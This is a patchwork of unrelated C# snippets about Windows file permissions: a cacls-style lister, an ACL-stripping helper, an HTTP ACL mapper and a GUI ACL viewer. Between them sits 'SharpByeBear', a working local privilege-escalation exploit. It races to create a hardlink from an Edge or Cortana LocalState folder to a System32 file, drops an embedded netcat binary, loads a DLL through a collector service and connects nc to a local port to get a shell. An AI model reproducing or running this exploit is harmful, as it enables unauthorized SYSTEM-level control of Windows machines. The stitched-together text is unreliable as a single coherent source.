public static void Main(string[] args) { if (args.Length == 0 || args[0] == "-h" || args[0] == "/?" || args[0] == "/h" || args[0] == "--help") { Console.WriteLine("WinBinReplacements: cacls.exe <file> [file2] [file3] ..."); return; } foreach (string arg in args) { string fullPath = Path.GetFullPath(arg); // if the user specifies a path with bad chars here they can go f**k themself. No try catch for you. AuthorizationRuleCollection authRules = null; if (Directory.Exists(fullPath)) { try { DirectorySecurity securityInfo = Directory.GetAccessControl(fullPath); authRules = securityInfo.GetAccessRules(true, true, typeof(NTAccount)); } catch (UnauthorizedAccessException) { Console.WriteLine("[!] Error: unauthorized to read permissions of: " + fullPath); continue; } catch (Exception e) { Console.WriteLine("[!] Error: unhandled exception trying to read permissions of: " + fullPath); Console.WriteLine(e); continue; } } else if (File.Exists(fullPath)) { try { FileSecurity securityInfo = File.GetAccessControl(fullPath); authRules = securityInfo.GetAccessRules(true, true, typeof(NTAccount)); } catch (UnauthorizedAccessException) { Console.WriteLine("[!] Error: unauthorized to read permissions of: " + fullPath); continue; } catch (Exception e) { Console.WriteLine("[!] Error: unhandled exception trying to read permissions of: " + fullPath); Console.WriteLine(e); continue; } } else { Console.WriteLine("[!] Error: file/dir does not exist: " + fullPath); continue; // Go next if the current file doesn't exist } int longest = 0; foreach (AuthorizationRule authRule in authRules) { if (authRule.IdentityReference.Value.Length > longest) { longest = authRule.IdentityReference.Value.Length; } } Console.WriteLine("\nPermissions of: " + fullPath); Console.WriteLine(new string('=', fullPath.Length + 16)); foreach (AuthorizationRule authRule in authRules) { int userLen = authRule.IdentityReference.Value.Length; FileSystemAccessRule accessRule = authRule as FileSystemAccessRule; Console.WriteLine(authRule.IdentityReference.Value + new string(' ', longest - userLen + 3) + accessRule.FileSystemRights); } } }
/// <summary> /// Removes all explicit access rules from the supplied file. /// </summary> /// <param name="path">The path to the file to have access removed on.</param> /// <param name="security">The FileSecurity object of the file once changed.</param> /// <param name="commitChanges">Indicates whether changes should be commited to this file. Useful when combining multiple commands.</param> /// <returns>True if access was removed. False otherwise.</returns> static public bool RemoveAllExplicitAccessRules(string path, out FileSecurity security, bool commitChanges) { // Check that a path was supplied. if (!string.IsNullOrEmpty(path)) { // The path was supplied. // Check whether the file exists. if (SystemFile.Exists(path)) { // The file exists. // Remove existing explicit permissions. security = GetSecurityObject(path); if (security != null) { AuthorizationRuleCollection rules = security.GetAccessRules(true, false, typeof(System.Security.Principal.SecurityIdentifier)); foreach (AuthorizationRule rule in rules) { security.RemoveAccessRule((FileSystemAccessRule)rule); } // Commit the changes if necessary. if (commitChanges) { try { SystemFile.SetAccessControl(path, security); } catch (IOException) { // An I/O error occurred while opening the file. return(false); } catch (UnauthorizedAccessException) { // The path parameter specified a file that is read-only. // The operation is not supported on the current platform. // Or the current process does not have the required permission. return(false); } } return(true); } else { // Unable to get the file's security object. return(false); } } else { // The file does not exist. security = null; return(false); } } else { // A path was not supplied. security = null; return(false); } }
static void Main(string[] args) { if (args.Length < 2) { Console.WriteLine("[+] Specify a target filename + Option 1 or 2"); Console.WriteLine("[-] For example SharpByeBear.exe license.rtf 1"); Console.WriteLine("[-] Option1: Edge"); Console.WriteLine("[-] Option2: Cortana"); return; } string filename = args[0]; string path = $@"C:\Windows\System32\{filename}"; string arg2 = args[1]; Console.WriteLine(arg2); int option = 0; option = int.Parse(arg2); option = Convert.ToInt32(arg2); String LocalState; switch (option) { case 1: Console.WriteLine("Using Edge option"); KillEdge(); LocalState = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState"; Console.WriteLine($"[+] Removing {LocalState}"); try { Directory.Delete($@"{LocalState}", true); } catch { } break; case 2: Console.WriteLine("Using Cortana option"); if (GetCortana() == 0) { Console.WriteLine("[+] Cortana disabled"); return; } string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData)); LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState"; Console.WriteLine($"[+] Removing {LocalState}"); try { Directory.Delete($@"{LocalState}", true); } catch { } break; default: Console.WriteLine("Invalid Option"); return; } if (!File.Exists(path)) { Console.WriteLine(" [x] File does not exist"); return; } string temporary = @"C:\temp"; if (!File.Exists(temporary)) { string createtemp = @" /C mkdir C:\temp"; System.Diagnostics.Process.Start("CMD.exe", createtemp); } var nc = DecompressFile(Convert.FromBase64String("H4sIAJmC7VwAA+xafXRURZZ/r9MhTejQDSYQJIEgMQkCkW8JEGklD1E+jEoriijMIop8LnSzMGP4sNMr7bMljqKzs+sMEWdXV8/qugg9ok5CWCJ+ojKcjGE0o8zxtZ2BFmNEQXvv71a97tchoOw5+9/mnHTdunXr1r23btW9VfVm31anZCiKYqf/REJRIor48yg//reZ/nsPfqW3sqvnO0Mi6qx3hsy9Z+naotVrVt29ZtGKor9btHLlKl/Rz+4qWuNfWbR0ZVHV9TcVrVi1+K7ynJzsYsmjWlOUWWqW8sr7a+eYfNsUV0Yv1ZanzKXKevq3KUpdXyrd9L9aSucWeMitSvllZ66seFBlvRSlSNDixy1I3FYlXiQZenWj3H2K0nLxTzDCIUXJ7wZd9pKi7FfP3a3cd9d6H5W7bpQCzbUqIf4WKtULyxcv8i0i+HYgoDvprMxLp/MooxrK1wjCWvDaTP+w121n0XnKf7Z2LeD1kG1H97JtVhY2lC8V/Ng2ZCPFSf/Luxl32o2QXNigQcq3vhs633Ietwg/hyTdz8+m616i///7v/rzhv56U6B9XP3hbR4l2OAraK4qdgBPpR1T1GznlZo4FGh3ElzUx6MYxdMVJdBuN1ZfqyjGzOsUJazFm7U46EJVxe76Was93N++w8P9qSC8M6x1UOEwHqlWlPpf7cB4/mpDp5qeV01dQm5j40zifCxuHJlNnDegBT0d9XbBwl7PvOzFRmUFjdVk3EEkoYJi49e0i4R3QwC90HjJo+xkftRBn+YG+ZXmkAI3CrjL0nHVwPUjXHRpIpEIdYZfLU3ZJ1fXHDoJU/kIOfk/VFaGqVjj3atKQynCUDCc0Xo9qXBKDe1z1X5H9dENwQ9cwT8TFNifO3/BPrtS+Rh19t1S+TiKwZWPoniZGkc3iOZMIKZWFlLhNyzcURo1Jnff34Oz799lQ+KDCEmdiP16dGv0XgIs/bCADS3Zr5Alql0JItEo+0bny36qpV8O+r2RiE5Nb2NZ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V7pfG1E4Z/0Ik1rFu35Z9U/ujL6zwEh2Myauu8esdUs8Lg8cKSvZcrmJ02BtkjKu21DHQsPOk05u3vthdrBlP2lzsnPh9B4O7j6HegYabqkX2i8aWJn85t7VXy0UY7hr975cOi6sh27n+y/tQyrq6or1JCYRylwHj1hJaWRX5vFclypx+NVnhltTJ+nmtLYoA1f3LF2NDRj+1ryn4WvfUBOn/UNLKy8Ubimea0B/lvVKV1Z35cSY69kXi/WfX3Wq3Xajyutc4qXnRdVb5YKhPgTGLLy+qyF389PyfHoplk9f1CE9PXY+fSZk5ZIWwv+fOWN/fqrXMom8XzErbQsw6vhhBg0M4FOJLtuUCrKHsAe5uXm6eXgl/M4Azuw5/dKx/4NHS1Hwbk7sesJmx8iXWF6pnpGmlhndmJ03G8ubCRs4Np1hseV6zq/pe/qZXcrZ82JhYnmi/7SRIiwFi18b92cI4fem6fk3r+tVFT4Vh+seojEVCfOfNZ536FYTNelQeqrF2oWySS265ryhXqWvlOajJcre86zvtSQemR1x4e7G2dccrXLNdhycs8HWcM2t3C7FjUc35+vGnS1L6m/HS/4+QzfMgmt85MHZ36yM31wsP5pZINCbU9P5tzXEhbPWfTjel2csWyeeI8ovO7S2+VLsj/tGZ7ivPxByx3Zgm6E0x7lx67mZ0dZTTyquim6vc5QsIp68R1fH1lh3ey6sXOm7zYix1c7RL9pbHPVu+/uEBcdifikP+e28K1s30efRntvOM3en2Y3IXhjpzlBY13nfbIyK6RIT8SYloMHcooiT1TgurEuPfY/eWO+tDfhI/i+C6D8AYqal29iWAAA=")); File.WriteAllBytes($@"C:\temp\nc.exe", nc); bool fc = false; FileSecurity acl = CheckFilePermission(path); WindowsPrincipal self = new WindowsPrincipal(WindowsIdentity.GetCurrent()); string user = self.Identity.Name; foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount))) { if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl)) { fc = true; } } if (fc) { Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {path}"); CollectorService.DLL.Load(filename); System.Threading.Thread.Sleep(2000); string strCmdPopp = @" /C C:\temp\nc.exe 127.0.0.1 2000"; System.Diagnostics.Process.Start("CMD.exe", strCmdPopp); System.Threading.Thread.Sleep(2000); Console.WriteLine(@" [x] {0} Dont forget to clean up license.rtf & C:\temp\nc.exe"); return; } IntPtr Thread = GetCurrentThread(); SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST); NtFile ntFile; ntFile = NtFile.Open($@"\??\{path}", null, FileAccessRights.MaximumAllowed); Console.WriteLine("[+] Waiting to Create Hardlink"); bool Failed = true; Console.WriteLine(@" [>] Starting race condition."); while (Failed) { try { ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt"); Failed = false; } catch { } } Console.WriteLine($"[+] Created Hardlink to {path}"); // Give the service some time to rewrite DACLs System.Threading.Thread.Sleep(2000); fc = false; foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount))) { if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl)) { fc = true; } } if (fc) { Console.WriteLine(@"[+] You have Full Control"); CollectorService.DLL.Load(filename); string strCmdPopp = @" /C C:\temp\nc.exe 127.0.0.1 2000"; System.Diagnostics.Process.Start("CMD.exe", strCmdPopp); System.Threading.Thread.Sleep(2000); Console.WriteLine(@" [x] {0} Dont forget to clean up license.rtf & C:\temp\nc.exe"); } else { Console.WriteLine(@"[+] Unlucky - Try again"); } }
/// <summary> /// Sets the permissions to match the template on the specified directory. /// </summary> public void SetPermissions(string template, Uri url, bool exactMatch) { if (url == null) { throw new ArgumentException("Target URI is not valid.", "target"); } string filePath = Utils.GetAbsoluteFilePath(m_directory.FullName + "\\" + template + m_FileExtension, false, false, false); // nothing more to do if no file. if (filePath == null) { return; } string urlMask = null; if (!exactMatch) { urlMask = url.Scheme; urlMask += "://+:"; urlMask += url.Port; urlMask += url.PathAndQuery; if (!urlMask.EndsWith("/")) { urlMask += "/"; } } else { urlMask = url.ToString(); } FileInfo templateFile = new FileInfo(filePath); FileSecurity security1 = templateFile.GetAccessControl(AccessControlSections.Access); List <HttpAccessRule> httpRules = new List <HttpAccessRule>(); foreach (AuthorizationRule rule in security1.GetAccessRules(true, true, typeof(NTAccount))) { FileSystemAccessRule fsr = rule as FileSystemAccessRule; if (fsr != null) { HttpAccessRule httpRule = new HttpAccessRule(); httpRule.UrlPrefix = urlMask; httpRule.IdentityName = fsr.IdentityReference.Translate(typeof(NTAccount)).ToString(); httpRules.Add(httpRule); if ((fsr.FileSystemRights & FileSystemRights.ChangePermissions) != 0) { httpRule.Right = ApplicationAccessRight.Configure; } else if ((fsr.FileSystemRights & FileSystemRights.WriteData) != 0) { httpRule.Right = ApplicationAccessRight.Update; } else if ((fsr.FileSystemRights & FileSystemRights.ReadData) != 0) { httpRule.Right = ApplicationAccessRight.Run; } } } HttpAccessRule.SetAccessRules(urlMask, httpRules, true); }
private void internal_fill(string file_name) { textBoxAcl.Clear(); textBoxSddl.Clear(); AuthorizationRuleCollection dacls = null; AuthorizationRuleCollection sacls = null; FileSecurity f_sec = null; try { f_sec = File.GetAccessControl(file_name); try { dacls = f_sec.GetAccessRules(true, true, typeof(NTAccount)); } catch (Exception ex) { textBoxAcl.AppendText(ex.Message); textBoxAcl.AppendText("\r\n"); } try { sacls = f_sec.GetAuditRules(true, true, typeof(NTAccount)); } catch (Exception ex) { textBoxAcl.AppendText(ex.Message); textBoxAcl.AppendText("\r\n"); } StringBuilder sb = new StringBuilder(); sb.Append("Owner\r\n"); sb.Append("=====\r\n"); try { sb.Append(f_sec.GetOwner(typeof(NTAccount)).Value); } catch (Exception ex) { sb.Append(ex.Message); } sb.Append("\r\n\r\n"); sb.Append("Primary group\r\n"); sb.Append("=============\r\n"); try { sb.Append(f_sec.GetGroup(typeof(NTAccount)).Value); } catch (Exception ex) { sb.Append(ex.Message); } sb.Append("\r\n\r\n"); sb.Append("Access rules\r\n"); sb.Append("============\r\n"); sb.Append(string.Format("Inherit disable: {0}\r\n\r\n", f_sec.AreAccessRulesProtected)); if (dacls != null) { foreach (FileSystemAccessRule rule in dacls) { sb.Append(string.Format("Identity: {0}\r\n", rule.IdentityReference.Value)); sb.Append(string.Format("Access type: {0}\r\n", rule.AccessControlType.ToString())); sb.Append(string.Format("Rights: {0}\r\n", rule.FileSystemRights.ToString())); sb.Append(string.Format("Inheritance: {0}\r\n", rule.InheritanceFlags.ToString())); sb.Append(string.Format("Inherited: {0}\r\n", rule.IsInherited)); sb.Append(string.Format("Propagation: {0}\r\n", rule.PropagationFlags.ToString())); sb.Append("\r\n"); } } sb.Append("Audit rules\r\n"); sb.Append("===========\r\n"); sb.Append(string.Format("Inherit disable: {0}\r\n\r\n", f_sec.AreAuditRulesProtected)); if (sacls != null) { foreach (FileSystemAuditRule rule in sacls) { sb.Append(string.Format("Identity: {0}\r\n", rule.IdentityReference.Value)); sb.Append(string.Format("Audit type: {0}\r\n", rule.AuditFlags.ToString())); sb.Append(string.Format("Rights: {0}\r\n", rule.FileSystemRights.ToString())); sb.Append(string.Format("Inheritance: {0}\r\n", rule.InheritanceFlags.ToString())); sb.Append(string.Format("Inherited: {0}\r\n", rule.IsInherited)); sb.Append(string.Format("Propagation: {0}\r\n", rule.PropagationFlags.ToString())); sb.Append("\r\n"); } } textBoxAcl.Font = new Font(FontFamily.GenericMonospace, textBoxAcl.Font.Size); textBoxSddl.Font = textBoxAcl.Font; textBoxAcl.Text = sb.ToString(); textBoxSddl.Text = f_sec.GetSecurityDescriptorSddlForm(AccessControlSections.All); } catch (Exception ex) { textBoxAcl.Font = new Font(FontFamily.GenericMonospace, textBoxAcl.Font.Size); textBoxSddl.Font = textBoxAcl.Font; textBoxAcl.Text = string.Format("Cannot get security descriptor. {0}", ex.Message); } }